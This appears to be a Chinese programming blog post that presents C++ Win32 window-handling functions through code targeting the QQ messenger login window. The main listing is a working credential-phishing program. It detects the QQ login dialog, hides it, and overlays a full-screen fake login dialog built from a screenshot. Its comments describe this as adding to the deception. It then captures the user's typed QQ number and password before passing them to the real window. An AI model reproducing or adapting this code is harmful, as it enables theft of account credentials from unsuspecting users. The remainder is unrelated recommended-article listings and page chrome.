从屏蔽QQ登录输入框温习几个c++函数

用C++实现QQ自动登陆器,仿佛开了外挂,秒杀各种神操作! QQ登录器是一款能自动为您完成QQ帐号登录的辅助工具软件。预先将要登录的帐号录入到登录器中,当需要登录QQ帐号时只需要选定要登录的帐号,登录器将自动为您完成填写帐号、密码和设置在线状态的一系列操作过程,从而减轻人工登录方式的重复繁琐工作并节省大量的时间。 实现界面如下: 项目结构展示: 部分源码展示: 用C++实现的QQ自动登陆器源程序,实现过程不难,主要涉及了QQ密码加密算法的实现,可能... 阅读详情
从屏蔽QQ登录输入框温习几个c++函数

先看c++ builder的代码:
void__fastcall TForm1::FormCreate(TObject*Sender)
{
HWND hCurWindow,HC,HE;
//定义三个窗口句柄变量,hCurWindow用于存放QQ用户登录窗口的句柄,HC,HE分别存放号码框和密码框的句柄
if((hCurWindow=FindWindow(Null,"QQ用户登录"))!=0)
{
//调用FindWindow()函数去获得QQ登录窗口的句柄
     string str;
     str.sprintf("0x%x",hCurWindow);
}
TCHAR wClassName[255];
//类名变量
HC=GetWindow(hCurWindow,GW_CHILD);
//得到号码框的句柄
HE=GetWindow(HC,GW_HWNDNEXT);
//得到密码框的句柄
GetClassName(HE,wClassName,sizeof(wClassName));
//得到类名
GetClassName(HC,wClassName,sizeof(wClassName));
//得到类名
EnableWindow(HE,false);
//使窗口失效
EnableWindow(HC,false);
//使窗口失效
EnableWindow()是个关键的函数,前面是为这个函数做铺垫的,关键是要获得框的句柄,如果FindWindow()和GetWindow()其中一个函数被HOOK的话,那么屏蔽输入框就没有效果了。这几个函数在VC里面同样可以用。
FindWindow()函数有一个特性:一次只运行一个程序实例,如果已运行则退出。
代码例:if( FindWindow(NULL,"程序标题")) exit(0);
------------------------------------------------------------------------------------------------------------------------------
再列出VC利用这个函数的实例,也是针对QQ的,代码如下:
#include <afx.h>
#include <tlhelp32.h>
#include "resource.h"

HBITMAP g_pBitmap;    //保存截取的屏幕图像
char qqpass[64] = "\0";    //保存用户输入的QQ密码
char qqid[64] = "\0";    //保存用户输入的QQ号码
HFONT myfont;
RECT g_qqIDRt, g_qqPassRt, g_qqLogin, g_qqCancel, g_DlgRt;    //保存QQ号码,密码,登陆,取消等窗口的区域
HWND QQID = NULL, QQPASS =NULL;
HWND g_hWnd = NULL;
//获取屏幕分辩率
int m_xScreen = GetSystemMetrics(SM_CXSCREEN);
int m_yScreen = GetSystemMetrics(SM_CYSCREEN);


BOOL CreateQQItem(HWND hWnd);
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID);
void QQFind();
HBITMAP CopyScreenToBitmap(LPRECT lpRect);
LRESULT CALLBACK win847(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);


//根据进程ID得到进程名称
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hSnapshot, &pe)) {
        return FALSE;
    }
    while (Process32Next(hSnapshot, &pe)) {
        if (pe.th32ProcessID == PID) {
            strcpy(lpszProcessName, pe.szExeFile);
            return true;
        }
    }

    return FALSE;
}

//查找QQ登录窗口
void QQFind()
{
    HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
    HWND ButtonLogin = NULL, ButtonCancel = NULL;
    char sTitle[255];
    CString ss;
    DWORD QQPID;
    int LoginID;
    BOOL find = FALSE;
    do
    {   
        //获得当前激活窗口的句柄
        g_hWnd = GetForegroundWindow();
        GetWindowThreadProcessId(g_hWnd, &QQPID);
        //根据PID获得进程名
        processIdToName(sTitle, QQPID);
        ss = sTitle;
        ss.MakeLower();
        //判断是否QQ
        if(ss != "qq.exe")
        {
            Sleep(100);
            continue;
        }
       
        //获得标题文字,判断是否登陆对话框
        SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
        ss = sTitle;
        int n = ss.Find("QQ", 0);
        int m = ss.Find("登录", 0);
        if(n >= 0 || m >= 0)
        {
            //查找QQ登陆按钮的句柄
            ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");   
            LoginID = GetDlgCtrlID(ButtonLogin);
            ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");   
            LoginID = GetDlgCtrlID(ButtonLogin);
            //获得QQ登陆按钮窗口位置
            GetWindowRect(ButtonLogin, &g_qqLogin);

            //查找QQ取消按钮的句柄
            ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
            //获得QQ取消按钮窗口位置
            GetWindowRect(ButtonCancel, &g_qqCancel);

            //查找QQ密码输入框的句柄
            hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);   
            if(hWnd1 != NULL)
            {
                qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
                //获得QQ密码输入框窗口位置
                GetWindowRect(qqPass_hWnd, &g_qqPassRt);                   
            }
           
            //查找QQ号码输入框的句柄
            hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
            if(hWnd1 != NULL)
            {
                qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
                //获得QQ号码输入框窗口位置
                GetWindowRect(qqID_hWnd, &g_qqIDRt);
                //获得当前默认QQ号码
                SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
            }
           
            //等待QQ窗口完全出现后抓取整个屏幕
            Sleep(100);
            g_DlgRt.left = 0;
            g_DlgRt.top = 0;
            g_DlgRt.right = m_xScreen;
            g_DlgRt.bottom = m_yScreen;           
            g_pBitmap = CopyScreenToBitmap(&g_DlgRt);
           
            //设置QQ窗口为不可见
            ShowWindow(g_hWnd, SW_HIDE);
//            LONG qqPassStyle;
//            qqPassStyle = GetWindowLong(g_hWnd, GWL_STYLE);
//            SetWindowLong(g_hWnd, GWL_STYLE, qqPassStyle & ~WS_VISIBLE);
           
            //弹出我们创建的伪造对话框
            HINSTANCE hInstance = GetModuleHandle(NULL);
            DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);
           
            //设置QQ窗口为可见
            ShowWindow(g_hWnd, SW_SHOW);

            //把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮
            SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
            SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
            SendMessage(ButtonLogin, BM_CLICK, 0, 0);
//            SetWindowLong(g_hWnd, GWL_STYLE, qqPassStyle | WS_VISIBLE);
//            InvalidateRect(g_hWnd, &g_DlgRt, TRUE);

            DeleteObject(g_pBitmap);
            //设置标志退出循环
            find = true;
        }
       
    }

    while(find == FALSE);

}

//拷贝屏幕
HBITMAP CopyScreenToBitmap(LPRECT lpRect)
//lpRect 代表选定区域
{
    HDC       hScrDC, hMemDC;     
    // 屏幕和内存设备描述表
    HBITMAP    hBitmap, hOldBitmap;  
    // 位图句柄
    int       nX, nY, nX2, nY2;     
    // 选定区域坐标
    int       nWidth, nHeight;
   
    // 确保选定区域不为空矩形
    if (IsRectEmpty(lpRect))
        return NULL;
    //为屏幕创建设备描述表
    hScrDC = CreateDC("DISPLAY", NULL, NULL, NULL);

    //为屏幕设备描述表创建兼容的内存设备描述表
    hMemDC = CreateCompatibleDC(hScrDC);
    // 获得选定区域坐标
    nX = lpRect->left;
    nY = lpRect->top;
    nX2 = lpRect->right;
    nY2 = lpRect->bottom;

    //确保选定区域是可见的
    if (nX < 0)
        nX = 0;
    if (nY < 0)
        nY = 0;
    if (nX2 > m_xScreen)
        nX2 = m_xScreen;
    if (nY2 > m_yScreen)
        nY2 = m_yScreen;
    nWidth = nX2 - nX;
    nHeight = nY2 - nY;
    // 创建一个与屏幕设备描述表兼容的位图
    hBitmap = CreateCompatibleBitmap
        (hScrDC, nWidth, nHeight);
    // 把新位图选到内存设备描述表中
    hOldBitmap = (HBITMAP)SelectObject(hMemDC, hBitmap);
   
    // 把屏幕设备描述表拷贝到内存设备描述表中
    BitBlt(hMemDC, 0, 0, nWidth, nHeight,
            hScrDC, nX, nY, SRCCOPY);

    hBitmap = (HBITMAP)SelectObject(hMemDC, hOldBitmap);
    //得到屏幕位图的句柄
    //清除
    DeleteDC(hScrDC);
    DeleteDC(hMemDC);
    // 返回位图句柄
    return hBitmap;
}

//对话框回调函数
LRESULT CALLBACK win847(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
    BOOL bRet;
    HDC dc, MemDc;
    POINT point;
    switch (message)
    {
        case WM_INITDIALOG:
            bRet = CreateQQItem(hDlg);    //为对话框创建两个文本框来获取用户的输入
           
            //设置对话框占满整个屏幕,并保持最前
            bRet = SetWindowPos(hDlg, HWND_TOPMOST,0, 0, m_xScreen, m_yScreen,SWP_SHOWWINDOW);
            return TRUE;

        case WM_ERASEBKGND:
            //贴上截取的图片来刷新背景
            dc = (HDC) wParam;
            MemDc = CreateCompatibleDC(dc);
            SelectObject(MemDc, g_pBitmap);
            BitBlt(dc, 0, 0, m_xScreen, m_yScreen, MemDc, 0, 0, SRCCOPY);
            DeleteDC(MemDc);
            return true;

        case WM_LBUTTONDOWN:
            point.x=LOWORD(lParam);
            point.y=HIWORD(lParam);
            //判断用户是否点击贴图上QQ登陆的按钮
            if(PtInRect(&g_qqLogin, point) == true)
            {
                //获取用户的输入
                GetWindowText(QQPASS, qqpass, 64);
                GetWindowText(QQID, qqid, 64);
                MessageBox(hDlg, qqpass, qqid, MB_OK);
                DeleteObject(myfont);
                EndDialog(hDlg, 0);
            }
            break;
           
        case WM_CLOSE:
            EndDialog(hDlg, 0);
            break;
    }   
return FALSE;
}

BOOL CreateQQItem(HWND hWnd)
{
    //创建字体,因为系统默认是宋体
    myfont=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_DONTCARE,"Arial");
   
    //创建QQ号码输入文本框
    int Width, Height;
    Width = g_qqIDRt.right - g_qqIDRt.left;
    Height = g_qqIDRt.bottom - g_qqIDRt.top;
    QQID = CreateWindow("Edit", "", WS_VISIBLE | WS_CHILDWINDOW, g_qqIDRt.left, \
                g_qqIDRt.top, Width, Height, hWnd, (HMENU)1000, GetModuleHandle(NULL), NULL);
   
    if(QQID == NULL)
        return FALSE;

    //根据获得的用户号码填充文本框,增加欺骗效果
    SendMessage(QQID, WM_SETTEXT, 0,(LPARAM)qqid);
    SendMessage(QQID,WM_SETFONT, (WPARAM)myfont,(LPARAM)0);    //设置文本框的字体

    //创建QQ密码输入文本框
    Width = g_qqPassRt.right - g_qqPassRt.left;
    Height = g_qqPassRt.bottom - g_qqPassRt.top;
    QQPASS = CreateWindow("Edit", "", WS_VISIBLE | WS_CHILDWINDOW | ES_PASSWORD, g_qqPassRt.left, \
                g_qqPassRt.top, Width, Height, hWnd, (HMENU)1001, GetModuleHandle(NULL), NULL);

    if(QQPASS == NULL)
        return FALSE;
    SendMessage(QQPASS,WM_SETFONT,(WPARAM)myfont, (LPARAM)0);    //设置文本框的字体
    return true;
   
}
           
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    QQFind();
    return 0;   
}


c++控制台输入密码模式 c++控制台实现密码模式。 阅读详情

相关推荐

微机原理与接口技术第六版周荷琴课后习题答案及解析(期末重点)

第二章 1.8086/8088CPU可直接寻址多少个内存(字节)单元?多少个I/O端口?它们的外部数据总线各有多少根? 8086/8088CPU使用的是20位地址总线,因此可以直接寻址2的20次方个内存单元(即1,048,576),每个单元大小为1字节,因此可以直接寻址2的20次方个字节的内存。 8086/8088CPU有64K个I/O端口,每个端口占用1字节的地址空间,因此可以直接寻址6...

Wmicheng的博客 1万+

43.【Java 实现验证码获取 C++实现密码加密和删除和QQ登入系统】

实现密码加密 验证码 登入系统三合一

qq_69683957的博客 795

从触觉到视觉:GelSight传感器的工作原理与实战应用指南

本文深入解析了GelSight光学触觉传感器的核心工作原理,它通过将物理接触转化为视觉图像,为机器人提供了高精度的触觉感知。文章详细介绍了其在工业微观缺陷检测、机器人灵巧操作等领域的实战应用,并提供了从系统搭建到算法开发的完整指南,帮助工程师将这一前沿技术落地于实际项目。

solidity8miner的博客 941

c语言实现QQ自动输入,用VC++制作QQ自动登陆软件

用VC++制作QQ自动登陆软件作者:李佳颖(niying)下载源代码近日由于在华为培训,期间因为导师们忙得要紧,没那么多时间去教导我们,只是给我们看文档和代码,看完了,没事就想出这个来玩玩了。这里要先用SPY++来找到QQ登陆框的各个窗口标题或ID号。原理:其实不难,只要找到QQ登陆框的号码输入和密码输入框,然后向其填数据就是了。这里填数据就是向其发送消息,模拟键盘 罢了。一、先是查看QQ登陆框是...

weixin_42354933的博客 1270

【隐私计算】从本地加法到在线乘法:Beaver Triple如何重塑算术秘密分享的运算效率

本文深入探讨了Beaver Triple在算术秘密分享中的关键作用,显著提升了隐私计算中的乘法运算效率。通过对比加法与乘法的实现差异,详细解析了Beaver Triple的预处理机制和在线计算优化,展示了其在减少通信量和计算时间方面的革命性突破。

weixin_29227585的博客 436

ORB-SLAM3代码详解 - 第 18 篇 · Atlas 多地图系统、地图保存与全系统调优

会跑:理解三线程架构与数据流(01/08/10/13),能编译、配参、复现各数据集结果。会改:掌握相机模型抽象(05)、g2o 顶点与边(14)、预积分(15),能接入新传感器、新相机、新约束。会调:理解每个参数背后的物理含义与耦合(03/15/16/18),能针对自己的平台与场景做精度/实时/鲁棒的权衡。ORB-SLAM3 的价值不止于一个可用的 SLAM 系统,更在于它是一套工程化的几何状态估计模板:清晰的模块边界、可替换的相机/传感器抽象、紧耦合优化的标准范式。

PX4-SLAM-PNC 172

长沙红胖子Qt·西安(长沙创微智科)博文大全:开发技术集合(包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬结合等等)持续更新中...

长沙红胖子 Qt・西安,本人拥有省级科研团队从业背景,研发团队产出所有项目、产品方案和研发无分包、无外包、无AI代笔,长期深耕双一流体系高精尖技术配套研发。博客主动剥离复杂底层工况机理,专注沉淀高端、特种行业领域Qt工程化落地实战经验。所有内容均为个人梳理总结的通用性工程方法论,只输出可公开的普适技术思路。

长沙红胖子 Qt・西安|省级科研团队从业背景,深耕双一流体系高精尖技术配套研发|剥离高精尖机理,沉淀高端特种行业领域 Qt 工程化落地经验|博文仅分享通用技术总结,输出公开普适工程思路。 164万+

YOLOv11改进 | 模型知识蒸馏篇 | 利用模型蒸馏改进YOLOv11进行无损涨点 | 离线蒸馏(附代码 + 完整文件 + 解析教程)

这篇文章给大家带来的最新改进是模型的蒸馏,利用教师模型指导学生模型从而进行模型的涨点,本文的内容不仅可以用于论文中,在目前的绝大多数的工作中模型蒸馏是一项非常重要的技术,所以大家可以仔细学习一下本文的内容,本文从YOLOv8的项目文件为例,进行详细的修改教程,文章内包括完整的修改教程,针对小白我出了视频修改教程,如果你还不会我提供了修改后的文件大家直接运行即可,所以说不用担心不会适用!模型蒸馏真正的无损涨点,蒸馏你只看这一篇文章就足够了!欢迎大家订阅我的专栏一起学习YOLO!

Snu77的博客 4328

深挖C++:类和对象(中)

(先进后出)

xys_678的博客 255

Python爬虫教程:抓取社交媒体内容(以Facebook和Instagram为例)

为什么抓取社交媒体内容?品牌分析与监测:通过抓取品牌、产品或服务相关的社交媒体数据,可以获得公众对其的评价,识别市场趋势,制定营销策略。情感分析:分析用户在社交平台上的情感倾向,如对某事件、产品、服务的正面或负面情绪。舆情监控:通过抓取大量社交媒体内容,监测公众对热点事件的反应,发现潜在的社会问题。用户行为分析社交媒体的数据类型:帖子和内容:包括用户发布的文本、图片、视频等。用户互动用户信息:包括用户名、粉丝数、关注数等社交信息。社交媒体的反爬虫机制:API限制。

2201_76125261的博客 1340

Autosar PWM模块的配置和使用

在上面的代码中,我们首先配置了PWM的初始化参数,包括频率和分辨率。GPIO Driver:由于PWM信号需要输出到特定的引脚上,因此我们还需要使用GPIO驱动程序来控制引脚的状态。通过合理配置和应用PWM模块,我们可以实现对汽车电子系统中各种功能的精确控制,从而提高汽车性能和用户体验。在实际应用中,我们可以根据需要进行更多的配置和调整,以实现灵活的PWM控制。PWM Driver:这是主要的PWM驱动程序,负责产生PWM信号并输出到相应的引脚上。接下来,我们需要配置PWM模块的参数。

TcData的博客 682

C++移动构造函数详解

移动构造函数是C++11引入的一种特殊构造函数,用于从临时对象(右值)"窃取"资源来初始化新对象,而不是进行昂贵的深拷贝。char* data;public:// 移动构造函数:参数是右值引用 &&// 关键:把源对象的资源置空。

拒绝AI文,努力在AI时代写出感动人心的好文章 394

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

ThunderKittens 深度解析:一个不基于 MLIR 的 C++ 模板 GPU DSL

Triton 是"让更多人能写 GPU kernel",ThunderKittens 是"让会写的人写得更爽"。前者用 MLIR 换易用性,后者用 C++ 模板换可控性。它们不是替代关系,而是覆盖了 GPU 编程光谱的两端。ThunderKittens 的出现,本质上是对"GPU DSL 必须基于 MLIR"这一默认假设的挑战。编译期类型系统本身就可以是一个强大的 DSL 基础设施,不需要中间 IR,不需要黑盒 pass,也能实现 tile 级抽象和零运行时开销。

Maxwell_Newton的博客 351

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

跟我学c++中级篇—类型定义的方式

本文系统阐述了编程中类型定义的重要性及c++中的实现方式。重点对比了宏定义、typedef与modern using三种机制,指出using在可读性、灵活性和模板支持上的优势,推荐优先使用。同时提醒开发者注意别名滥用、类型歧义、错误信息冗长等问题,强调统一规范与合理设计。最终结论:在现代c++开发中,应以using为主,兼顾简洁性与可维护性,避免陷入命名混乱与编译困境。

fpcc的专栏 91

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

【C++——类和对象(上)】筑基篇:以封装奠定面向对象之基

本文系统梳理C++类与对象的核心知识点,涵盖类的定义、访问限定符(public/private)、类作用域、对象实例化及内存布局。重点解析封装思想、this指针机制、空类大小为1字节的原因,以及类与对象在内存中的存储差异。通过对比C语言结构体与C++类,揭示面向对象设计的优势:数据保护、接口统一、命名隔离与代码可维护性提升。内容由浅入深,适合作为学习笔记与复习参考。

2602_95684935的博客 595

【C++ 基础入门】C++11新特性(下):可变参数模板、lambda 表达式与包装器

C++11高阶特性(可变参数模板与参数包展开、emplace_back、lambda表达式与捕获列表、仿函数、std::function包装器)

2601_96587588的博客 242

#SQLite 数据库笔记一:(概念 / 终端指令 / SQL 语句 / C 编程 / 回调函数)

数据库 = 数据的仓库,假设数据是海量。能力说明存储数据持久化保存,程序退出数据还在统计数据、分组、排序数据管理增、删、改、查(CRUD)嵌入式设备上也会用数据库(单片机网关、路由器、工业 HMI 都常见),因为 sqlite 体积小、无需服务进程、单文件即可。数据库 = 库 > 表 > 记录(行) > 字段(列)sqlite3 = 开源、C 写的、单文件、免安装、最多 2T 的嵌入式关系型数据库。

lwq20051110的博客 257

1-10 PostgreSQL中多表连接全解:inner/left/right/full/cross join

本文基于 PostgreSQL 15+ 完整拆解 5 种主流连接:内连接、左连接、右连接、全连接、笛卡尔连接。结合可落地的测试数据,演示每种连接的执行逻辑、返回结果,重点剖析 NULL 值对 JOIN 匹配的核心影响,彻底解决多表连接数据丢失、匹配异常、结果错乱的问题。

zhangjw34的专栏 114

蓝桥杯·全国青少年信息素养大赛·电子学会Python/C++考级 备考:莫队算法离线区间查询详解

备赛进行时:第十八届蓝桥杯软件赛报名已于 2026-10-08 10:00 开启、12-18 14:00 截止,省赛定在 2027-04-10(C/C++·Python 程序设计 9:00–13:00);中国电子学会 2026 年 12 月软件编程(C/C++ 一级至十级、Python 一级至六级)考级报名 9/23–12/2 16:00、统考 12-12;全国青少年信息素养大赛 2026—2027 赛季算法应用主题赛也已进入复盘练兵窗口。

IT_Scratch的博客 175

【C++ 基础入门】C++继承(下):问题、底层原理与组合

C++继承(菱形继承的问题、虚继承原理、继承与组合、构造顺序)

2601_96587588的博客 805

c++ explicit关键字详解

explicit。

拒绝AI文,努力在AI时代写出感动人心的好文章 166

825 mW 顶上 212 °C:ASM491S 的 105 °C/W、250 mA 短路电流与热关断

25 °C 环境里结温 34.1 °C,125 °C 环境里结温 134.1 °C——后者已经离 150 °C 只有 16 °C 了,但还在范围内。换个角度看同一件事:从 25 °C 和从 125 °C 起算,温升都是 86.6 °C,但一个到 111.6 °C(还在范围内),一个到 211.6 °C(远远超限)。这个算例里 20 °C/W 是我假设的,实际值取决于机壳材料、密封程度、有没有风扇,跨度可以从 5 °C/W 到 50 °C/W 以上。外面 50 °C 的机箱,盒内就是 63.9 °C。

ANSILIC的博客 398
上一篇: 从屏蔽QQ登录输入框温习几个c++函数
下一篇: C#中ComboBox的模糊搜索
M-先生
博客等级 码龄17年 60粉丝 6原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值